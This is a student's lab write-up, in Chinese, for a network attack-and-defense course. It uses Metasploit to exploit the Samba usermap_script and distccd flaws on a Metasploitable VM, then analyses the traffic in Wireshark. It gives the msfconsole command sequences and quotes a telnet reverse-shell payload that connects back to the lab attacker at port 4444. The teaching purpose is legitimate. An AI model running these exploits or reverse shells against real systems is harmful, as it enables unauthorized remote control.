20252914 2025-2026-2 《网络攻防实践》第7次作业

20252914 2025-2026-2 《网络攻防实践》第7周作业

1.知识点梳理与总结

一. 基础概念知识点

Metasploit(MSF):开源渗透测试框架,集成漏洞利用、载荷、编码、监听、后渗透等全流程功能,是网络渗透核心工具,常用入口为msfconsole控制台。
Samba 服务:Linux/Unix 系统实现 SMB/CIFS 协议的服务,用于和 Windows 系统共享文件、打印机,内网环境常用,配置不当易出现高危漏洞。
usermap_script 漏洞:Samba 服务经典远程命令执行漏洞,漏洞成因是 Samba 处理用户名映射脚本时未做输入过滤,攻击者可构造恶意数据包注入系统命令,实现远程代码执行。

二. MSF 核心模块知识点

Exploit(攻击模块):exploit/multi/samba/usermap_script 是专门针对该 Samba 漏洞的利用模块,承载漏洞触发的攻击代码。
Payload(载荷):攻击成功后在目标机器执行的恶意程序,本实验选用远程 Shell 载荷,分为正向 Shell(主动连接靶机)、反向 Shell(靶机主动连接攻击机,更易绕过防火墙)。

三. 渗透参数核心含义

RHOST:目标 Linux 靶机的 IP 地址,指定攻击目标。
LHOST:攻击机本地 IP 地址,反向 Shell 时用于靶机回连地址。
TARGET:指定目标系统版本类型,适配对应漏洞利用方式。

四. 渗透流程核心逻辑

启动 MSF 控制台,加载对应 Samba 漏洞利用模块;
配置攻击载荷与必要网络参数;
执行攻击,利用漏洞触发远程代码执行;
成功获取靶机远程命令行 Shell,查看系统权限、验证渗透成果。

2.实验过程

一、使用Metasploit进行Linux远程渗透攻击

任务具体要求:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。

Kali虚拟机IP地址:192.168.200.6
Metasploitable虚拟机IP地址:192.168.200.11
连通性测试:
image

kali虚拟机输入指令msfconsole启动Metasploit渗透软件:
image

之后输入指令search samba查找samba服务漏洞模块:
image

接着输入指令search usermap_script查找samba服务的usermap_script漏洞模块:
image

直接输入指令use exploit/multi/samba/usermap_script使用该漏洞模块进行攻击:
image

执行show payloads命令,查看该模块所支持的攻击载荷:
image

选择反弹Shell载荷(MSF默认使用反弹Shell,可以绕防火墙、同时内网无需配置、成功率最高、适配该漏洞命令执行的特性)
set payload cmd/unix/reverse_netcat
image

之后就是配置相关地址:
配置靶机IP地址:set RHOSTS 192.168.200.11
配置攻击机监听IP地址:set LHOST 192.168.200.6
image

输入指令exploit进行攻击:
image

输入ifconfig查看IP:
image

攻击成功!

二、攻防对抗实践

具体要求:

  • 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

  • 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

从端口扫描 → 漏洞利用 → 获取Shell → 后续操作
kali机执行指令:nmap --script vuln 192.168.200.11
image

分析扫描结果:

端口 服务 说明
21 FTP 文件传输服务
22 SSH 远程登录
23 Telnet 明文远程管理
25 SMTP 邮件服务
53 DNS 域名解析
80 HTTP Apache 网页服务
139/445 NetBIOS/SMB Samba 共享服务
3306 MySQL 数据库
5432 PostgreSQL 数据库
8009 AJP13 Tomcat 关联服务
8180 Tomcat 网页端口 后台管理、站点服务

已扫描出的高危漏洞:

  1. Apache HTTP 漏洞 CVE-2011-3192
    漏洞类型:拒绝服务 DoS
    危害:构造特殊 HTTP 字节范围请求,可直接打垮 Apache 服务器,造成网站瘫痪。
  2. SSL 相关多个高危漏洞
    POODLE 漏洞 CVE-2014-3566
    SSLv3.0 协议漏洞,中间人可窃听解密敏感数据。
    弱 DH 密钥组
    加密密钥长度仅 1024 位,强度过低,容易被破解、窃听通信。
    SSL CCS 注入 CVE-2014-0224
    高危中间人漏洞,可劫持会话、伪造通信、窃取账号密码。
    ……

尝试利用distccd 远程命令执行(3632 端口)漏洞:
msf 步骤:
msfconsole
search distccd
use exploit/unix/misc/distcc_exec
set RHOST 192.168.200.11
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.200.6
exploit

image
ifconfig查看:
image
攻击成功!

防守方对Wireshark攻击流量分析:
输入tcp.port == 3632筛选 TCP 3632 端口
image

追踪 TCP 三次握手:
image

  • 字段含义拆解
  1. 协议头标识
    DIST00000001distccd 协议固定包头,标识这是合法 distcc 通信数据包,用来骗过服务校验。
  2. 参数个数
    ARGC00000008代表后面跟 8 个参数,模拟正常编译传参格式。
  3. 关键恶意参数(攻击核心)
    plaintext
    ARGV00000002sh
    ARGV00000002-c
    ARGV00000007sh -c '(sleep 3860|telnet 192.168.200.6 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.6 4444 >/dev/null 2>&1 &)'
    对应:
    调用系统 sh 命令
    用 -c 执行后面整段恶意脚本
    恶意脚本功能:
    telnet 192.168.200.6 4444:靶机主动连接攻击机 192.168.200.6 的 4444 端口
    循环拉起 /bin/sh 交互式 Shell
    标准错误、标准输出全部重定向到反弹连接
    后台静默运行 &,持久化不中断
    是一条 Telnet 方式反向 Shell,把靶机命令行完全交给攻击机控制。
  4. 伪装正常编译参数
    plaintext
    ARGV00000001#
    ARGV00000002-c
    ARGV00000006main.c
    ARGV00000002-o
    ARGV00000006main.o
    伪造编译:gcc -c main.c -o main.o用来伪装成正常代码编译请求,掩盖恶意命令执行。
  5. 结尾标识
    DOTO0000000ALEyMyHJKZQ、DONE、STAT、SERR、SOUT都是 distccd 协议结束、状态返回固定字段,标志恶意指令发送完毕。

输入tcp.port == 4444筛选 TCP 4444 端口
image
追踪TCP流:
image

image
可以看到攻击方执行ifconfig指令,以及该指令所查询到的信息

3.学习中遇到的问题及解决

问题:kali攻击机执行nmap --script vuln 192.168.200.11指令后 Samba 漏洞检测结果smb-vuln-ms10-061、ms10-054 均为 不存在。脚本执行报错没扫出,但139/445 端口开放 + 靶机是老旧版本,依然存在 usermap_script 漏洞

原因:该脚本没覆盖此老漏洞

4.学习感悟

通过本次使用 Metasploit 对 Linux 靶机 Samba、distccd 等漏洞进行渗透攻击,同时借助 Wireshark 开展攻击流量分析的实践,我收获颇多。
我熟悉了漏洞扫描、模块调用、参数配置、漏洞利用的完整渗透流程,理解了老旧服务版本存在的安全隐患,也掌握了反弹 Shell 的工作原理与优势。同时学会了利用 Wireshark 过滤端口、追踪 TCP 流,能够直观解析攻击载荷、溯源攻击 IP,还原攻击者的命令执行与后续操作行为。
本次实验让我认识到网络攻击与防御是相辅相成的,只有了解渗透攻击的原理和流量特征,才能更好地做好安全防护。也深刻体会到及时修补系统漏洞、关闭无用端口、做好流量监控与日志审计的重要性,今后我会更加注重网络安全防护意识的培养,夯实理论与实操基础。

参考资料

《Java程序设计与数据结构教程(第二版)》
《Java程序设计与数据结构教程(第二版)》学习指导

posted @ 2026-05-10 17:40  20252914  阅读(16)  评论(0)    收藏  举报